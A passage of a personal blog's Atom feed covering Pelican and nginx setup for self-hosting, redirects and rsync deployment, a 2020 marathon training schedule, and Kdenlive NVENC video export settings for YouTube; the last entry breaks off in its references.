&lt;span class="n"&gt;AUTHOR_FEED_ATOM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;feeds/&lt;/span&gt;&lt;span class="si"&gt;{slug}&lt;/span&gt;&lt;span class="s1"&gt;.atom.xml&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;AUTHOR_FEED_RSS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;feeds/&lt;/span&gt;&lt;span class="si"&gt;{slug}&lt;/span&gt;&lt;span class="s1"&gt;.rss.xml&amp;#39;&lt;/span&gt;


&lt;span class="n"&gt;DEFAULT_PAGINATION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;

&lt;span class="c1"&gt;# Uncomment following line if you want document-relative URLs when developing&lt;/span&gt;
&lt;span class="c1"&gt;# RELATIVE_URLS = True&lt;/span&gt;

&lt;span class="n"&gt;PLUGINS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pelican_youtube&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;STATIC_PATHS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;images&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;ARTICLE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;blog/{date:%Y}-{date:%m}-{date:&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;}-&lt;/span&gt;&lt;span class="si"&gt;{slug}&lt;/span&gt;&lt;span class="s2"&gt;.html&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;ARTICLE_SAVE_AS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;blog/{date:%Y}-{date:%m}-{date:&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;}-&lt;/span&gt;&lt;span class="si"&gt;{slug}&lt;/span&gt;&lt;span class="s2"&gt;.html&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;INDEX_SAVE_AS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;blog/index.html&amp;quot;&lt;/span&gt;

&lt;span class="c1"&gt;# Theming&lt;/span&gt;

&lt;span class="n"&gt;THEME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;themes/brutalist&amp;#39;&lt;/span&gt;
&lt;span class="c1"&gt;# used for OG tags and Twitter Card data on index page&lt;/span&gt;

&lt;span class="c1"&gt;# used for OG tags and Twitter Card data of index page&lt;/span&gt;
&lt;span class="c1"&gt;# path to favicon&lt;/span&gt;
&lt;span class="c1"&gt;# FAVICON = &amp;#39;pelly.png&amp;#39;&lt;/span&gt;
&lt;span class="c1"&gt;# path to logo for nav menu (optional)&lt;/span&gt;
&lt;span class="c1"&gt;# LOGO = &amp;#39;pelly.png&amp;#39;&lt;/span&gt;
&lt;span class="c1"&gt;# first name for nav menu if logo isn&amp;#39;t provided&lt;/span&gt;

&lt;span class="n"&gt;ATTRIBUTION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="c1"&gt;## Add a link to the tags page to the menu&lt;/span&gt;
&lt;span class="c1"&gt;## Other links can be added following the same tuple pattern&lt;/span&gt;
&lt;span class="n"&gt;DISPLAY_PAGES_ON_MENU&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;DISPLAY_CATEGORIES_ON_MENU&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;

&lt;span class="n"&gt;MENUITEMS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;home&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;blog&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/blog&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;presentations&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/pages/presentations&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;videography&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/pages/videography&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tags&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/tags&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;GITHUB&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://github.com/avolkov&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;MASTODON&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://mastodon.xyz/@avolkov&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="nginx-config"&gt;
&lt;h2&gt;Nginx config&lt;/h2&gt;
&lt;p&gt;I had to tweak nginx configuration that instead of connecting to a socket, the web server just displays static content.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;0.0.0.0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;ssl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/fullchain.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate_key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/privkey.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;flamy.ca&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;access_log&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;/var/log/nginx/flamy_ca.access.log&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="kn"&gt;root&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="s"&gt;/srv/flamy_ca/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="kn"&gt;try_files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$uri/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$uri.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="kn"&gt;index&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;index.htm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="updating-old-links"&gt;
&lt;h2&gt;Updating old links&lt;/h2&gt;
&lt;p&gt;I didn't want to remove my existing pages from github.io, as they are getting referrals from the search engines. Instead I went through the old HTML blog entries, and manually updated each page to contain a crawler-friendly redirect url.&lt;/p&gt;
&lt;p&gt;Here's the template I used to create the redirects&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt; &lt;span class="na"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;en&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;meta&lt;/span&gt; &lt;span class="na"&gt;http-equiv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;refresh&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0; URL=https://flamy.ca/blog/NEW-URL&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;link&lt;/span&gt; &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;canonical&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://flamy.ca/blog/NEW-URL&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;index&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;home&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="deployment"&gt;
&lt;h2&gt;Deployment&lt;/h2&gt;
&lt;p&gt;My previous setup used internal gitlab repo for drafts and a github.com repo that points to github.io. That setup was somewhat confusing but not the worst, as I've seen configs that use the only github.io-based repository with a deploy script that uses two branches: one for storing source text, and the other for generated content.&lt;/p&gt;
&lt;p&gt;Right now I use single repository to store content and a command that syncs the contents of &lt;strong&gt;output/&lt;/strong&gt; directory to remote server.&lt;/p&gt;
&lt;p&gt;The following command generates content and start the serve in development mode, for when I'm working on an article.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ make clean &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; make html &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; make serve
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Once an article is finished, copy generated content to remote directory&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ rsync --archive --del --progress output/* flamy.ca:/srv/flamy_ca/
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I'm planning to automate this with gitlab runner, so the steps of generating content and deployment are done every time commit is pushed to master branch.&lt;/p&gt;
&lt;/div&gt;
</content><category term="self-hosting"></category><category term="pelican"></category><category term="web"></category><category term="rst"></category><category term="blog"></category><category term="sysadmin"></category></entry><entry><title>My Training Plan for 2020 Marathon</title><link href="https://flamy.ca/blog/2020-01-01-my-training-plan-for-2020-marathon.html" rel="alternate"></link><published>2020-01-01T00:00:00-05:00</published><updated>2020-01-01T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-01-01:/blog/2020-01-01-my-training-plan-for-2020-marathon.html</id><summary type="html">&lt;p&gt;&lt;em&gt;Published on January 1, 2020 and updated on January 27,2020&lt;/em&gt;&lt;/p&gt;
&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I got into running to loose weight sometime around 2010-2011 and I kept this habit since. I've been running for a decade I've managed to run 4 marathons:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;2014-05 Scotia Toronto&lt;/li&gt;
&lt;li&gt;2016-05 Scotia Toronto&lt;/li&gt;
&lt;li&gt;2017-05 Scotia Toronto&lt;/li&gt;
&lt;li&gt;2017-08 …&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Published on January 1, 2020 and updated on January 27,2020&lt;/em&gt;&lt;/p&gt;
&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I got into running to loose weight sometime around 2010-2011 and I kept this habit since. I've been running for a decade I've managed to run 4 marathons:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;2014-05 Scotia Toronto&lt;/li&gt;
&lt;li&gt;2016-05 Scotia Toronto&lt;/li&gt;
&lt;li&gt;2017-05 Scotia Toronto&lt;/li&gt;
&lt;li&gt;2017-08 Reykjavik Marathon&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also been running &lt;a class="reference external" href="https://bayrace.com/"&gt;Around the bay Race&lt;/a&gt; in Hamilton, Ontario from 2013, only skipping a single event in 2018 because I got sick just in the time where I needed to catch up on my training.&lt;/p&gt;
&lt;p&gt;Since running my last marathon in  August 2017 I promptly gained 10 kg, which I have kept since, which makes running a full marathon really difficult.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="new-year-s-resolution"&gt;
&lt;h2&gt;New Year's resolution&lt;/h2&gt;
&lt;p&gt;Before the holidays I thought of not doing new year's resolution, but since then I had a time to think, and a few doable things, such as many people from my running group are going to do ATB and then a marathon in may, I decided that organizing my time around these two events would not be particularly difficult.&lt;/p&gt;
&lt;p&gt;For the year of 2020 I'll do my Around the Bay race and then I will use it as a springboard to run &lt;a class="reference external" href="https://www.mississaugamarathon.com/"&gt;Mississauga marathon&lt;/a&gt; a month later.&lt;/p&gt;
&lt;p&gt;One of my friends from the running group have mentioned that he just going to do a training schedule in google calendar, and I thought to myself that I should do that too -- years before I just ran with other people who had made their running calendar, but I never made my own.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="running-calendar"&gt;
&lt;h2&gt;Running calendar&lt;/h2&gt;
&lt;p&gt;This is the calendar I made for my schedule, based on &lt;a class="reference external" href="http://www.marathontraining.com/marathon/metric2.html"&gt;Marathon training schedule -- Metric version&lt;/a&gt; I have 18 weeks until full marathon (Sunday, May 3rd) and 12 weeks until Around the Bay race (Sunday, March 29).&lt;/p&gt;
&lt;p&gt;I'm planning to run 3 times a week, and it is easier for me to run on Wednesdays, Fridays and Saturdays. I will run on mornings Fridays to work, so I will not be able to vary distance for that exercise. For Wednesdays I set run distance to 10Km, but I may updated it and veary it between 8-13Km.&lt;/p&gt;
&lt;p&gt;Here's my marathon training plan for Jan 1, 2020 - May 3, 2020.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;My Mississauga 2020 marathon training plan.&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="21%" /&gt;
&lt;col width="18%" /&gt;
&lt;col width="16%" /&gt;
&lt;col width="13%" /&gt;
&lt;col width="13%" /&gt;
&lt;col width="18%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Week #&lt;/th&gt;
&lt;th class="head"&gt;Date&lt;/th&gt;
&lt;th class="head"&gt;Wed&lt;/th&gt;
&lt;th class="head"&gt;Fri&lt;/th&gt;
&lt;th class="head"&gt;Sat&lt;/th&gt;
&lt;th class="head"&gt;Total&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Jan 1&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Jan 6&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Jan 13&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Jan 20&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Jan 27&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Feb 3&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Feb 10&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Feb 17&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Feb 24&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Mar 2&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;Mar 9&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;Mar 16&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;13 ATB&lt;/td&gt;
&lt;td&gt;Mar 23&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Mar 30&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;Apr 6&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;td&gt;58&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;Apr 13&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;Apr 20&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;Apr 27&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="running"></category><category term="running"></category><category term="training"></category></entry><entry><title>Kdenlive nvenc video settings for Youtube</title><link href="https://flamy.ca/blog/2019-10-14-kdenlive-nvenc-video-settings-for-youtube.html" rel="alternate"></link><published>2019-10-14T00:00:00-04:00</published><updated>2019-10-14T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2019-10-14:/blog/2019-10-14-kdenlive-nvenc-video-settings-for-youtube.html</id><summary type="html">&lt;p class="first last"&gt;youtube video settings&lt;/p&gt;
</summary><content type="html">&lt;p&gt;After numerous tryings in to follow codec settings for youtube &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt; in order to processing time after the video was uploaded, I've come up with the following Kdenlive settings for 1080p video using Nvidia hardware.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;f=mp4 vcodec=nvenc_h264 acodec=aac ab=384k g=15 profile:v=high global_quality=21 -coder 1 vq=21 -r 29.97 preset=slow bf=2 movflags=faststart pix_fmt=yuv420p
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The thing these settings don't have is bitrate limit, however in the videos I've encoded, I didn't notice exceeding bitrate it always seem to be under 15Mbps.&lt;/p&gt;
&lt;p&gt;Here's my rationale for each of these encoding options.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;f=mp4&lt;/strong&gt; use mp4 container&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vcodec=nvenc_h264&lt;/strong&gt; utilize nvidia hardware acceleration&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;acodec=aac ab=384k&lt;/strong&gt; use AAC audio codec with bitrate 384k&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;global_quality=21 -coder 1 vq=21 preset=slow&lt;/strong&gt; following some of the recommendations from this stackoverflow answer on intricacies of nvidia encoder &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-r 29.97&lt;/strong&gt; use 29.97 FPS frame rate. This is the framerate I shoot the video with and this is the framerate I use to publish video. This will avoid recording light flickering effect in North America power grid.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;bf=2&lt;/strong&gt; 2 consecutive B-frames (youtube recommendation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;movflags=faststart&lt;/strong&gt; youtube recoomendation (mp4 container), see additional discussion on superuser.com &lt;a class="footnote-reference" href="#footnote-3" id="footnote-reference-3"&gt;[3]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pix_fmt=yuv420p&lt;/strong&gt; pixel format/color encoding to use (youtube recommendation)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="section" id="references"&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[1]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://support.google.com/youtube/answer/1722171?hl=en"&gt;Recommended upload encoding settings&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://superuser.com/a/1296511/420376"&gt;Best settings for FFMpeg with NVENC&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
